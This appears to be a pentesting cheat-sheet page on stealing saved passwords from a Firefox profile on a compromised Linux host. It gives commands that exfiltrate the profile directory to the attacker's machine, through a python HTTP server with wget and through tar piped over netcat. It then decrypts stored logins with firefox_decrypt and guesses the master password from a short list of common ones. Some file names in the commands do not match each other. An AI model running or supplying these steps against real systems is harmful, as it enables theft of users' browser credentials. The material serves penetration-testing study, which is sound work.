# Mozilla Pentesting

### [Extract Passwords from Firefox Profile](https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/mozilla-pentsting/#extract-passwords-from-firefox-profile) <a href="#extract-passwords-from-firefox-profile" id="extract-passwords-from-firefox-profile"></a>

#### [1. Transfer the .firefox Directory](https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/mozilla-pentsting/#1.-transfer-the-.firefox-directory) <a href="#id-1.-transfer-the-.firefox-directory" id="id-1.-transfer-the-.firefox-directory"></a>

* **Zip**

  First, zip **.firefox** directory in target machine, and open web server to transfer the zip file to local machine.

  ```sh
  zip -r /tmp/firefox.zip .firefox
  cd /tmp
  python3 -m http.server 8000
  Copied!
  ```

  In local machine, download the zip file from the remote machine, and decompress it.

  ```sh
  wget http://<target-ip>:8000/mozilla.zip
  unzip mozilla.zip
  Copied!
  ```
* **Tar**

  If we cannot use zip, tar also can be used.\
  In local machine, start listener for getting the archived directory.\
  "out.tar" will be created when the remote machine will send the compressed directory.

  ```sh
  nc -lvnp 1234 > out.tar
  Copied!
  ```

  In remote machine, compress the directory and transfer over netcat.

  ```sh
  tar -cf - mozilla/ | nc <local-ip> 1234
  Copied!
  ```

  Then, decompress it in local.

  ```sh
  tar -xf mozilla.tar
  Copied!
  ```

#### [2. Decrypt the Password](https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/mozilla-pentsting/#2.-decrypt-the-password) <a href="#id-2.-decrypt-the-password" id="id-2.-decrypt-the-password"></a>

To crack the profile of Firefox, use [**firefox\_decrypt**](https://github.com/unode/firefox_decrypt).

```sh
python3 firefox_decrypt.py .mozilla/firefox/<id>.default-release
Copied!
```

If we’ll be asked the master password and we don’t know it, try common passwords.

```txt
admin
password
password1
password123
root
```
